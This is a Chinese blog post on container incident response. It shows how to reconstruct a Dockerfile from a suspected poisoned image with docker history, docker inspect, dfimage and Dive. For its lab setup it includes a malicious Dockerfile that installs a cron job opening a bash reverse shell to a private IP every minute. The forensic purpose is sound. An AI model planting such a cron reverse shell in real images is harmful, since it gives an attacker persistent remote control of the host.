当涉及到容器镜像的安全时,特别是在出现镜像投毒引发的安全事件时,追溯镜像的来源和解析Dockerfile文件是应急事件处理的关键步骤。在这篇博客中,我们将探讨如何从镜像解析获取Dockerfile文件,这对容器安全至关重要。
01、概述
当涉及到容器镜像的安全时,特别是在出现镜像投毒引发的安全事件时,追溯镜像的来源和解析Dockerfile文件是应急事件处理的关键步骤。在这篇博客中,我们将探讨如何从镜像解析获取Dockerfile文件,这对容器安全至关重要。
02、环境准备
利用Dockfile构建一个反弹shell的恶意镜像:
FROM ubuntu:20.04
RUN apt-get update &&\
apt-get install -y cron &&\
(echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
ENTRYPOINT ["cron","-f","&&"]
CMD ["/bin/bash"]
03、镜像解析Dockerfile
3.1镜像文件解析
在镜像的元数据信息中,到镜像构建所使用的 Dockerfile,可以成功解析 Docker 镜像并获取其 Dockerfile 内容,以了解镜像的构建过程和引入的软件包及配置。
docker save -o test.tar test:v1.0
tar -xvf test.tar
3.2docker命令参数
使用docker history 命令查看指定镜像的创建历史,展示只能看到一部分,可以加上 --no-trunc,就可以看到全部信息。
docker history test:v1.0
docker history test:v1.0 --no-trunc
使用docker inspect命令来查看Docker镜像的详细信息,通过--format参数可自行定义输出信息,获取镜像的配置信息。
#查看镜像的配置信息
docker inspect --format='{{json .Config}}' test:v1.0
3.3dfimage
dfimage是一款第三方工具,可用来从镜像中提取 Dockerfile
(1)生成快捷方式,使用dfimage可以输出很详细的 Dockerfile。
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 test:v1.0
3.4Docker镜像分析神器 Dive
Dive是一款Docker镜像分析神器,分析和浏览 Docker 容器镜像内部,可以很详细的看到每一层文件的变化。
alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive test:v1.0
图片
©本文为清一色官方代发,观点仅代表作者本人,与清一色无关。清一色对文中陈述、观点判断保持中立,不对所包含内容的准确性、可靠性或完整性提供任何明示或暗示的保证。本文不作为投资理财建议,请读者仅作参考,并请自行承担全部责任。文中部分文字/图片/视频/音频等来源于网络,如侵犯到著作权人的权利,请与我们联系(微信/QQ:1074760229)。转载请注明出处:清一色财经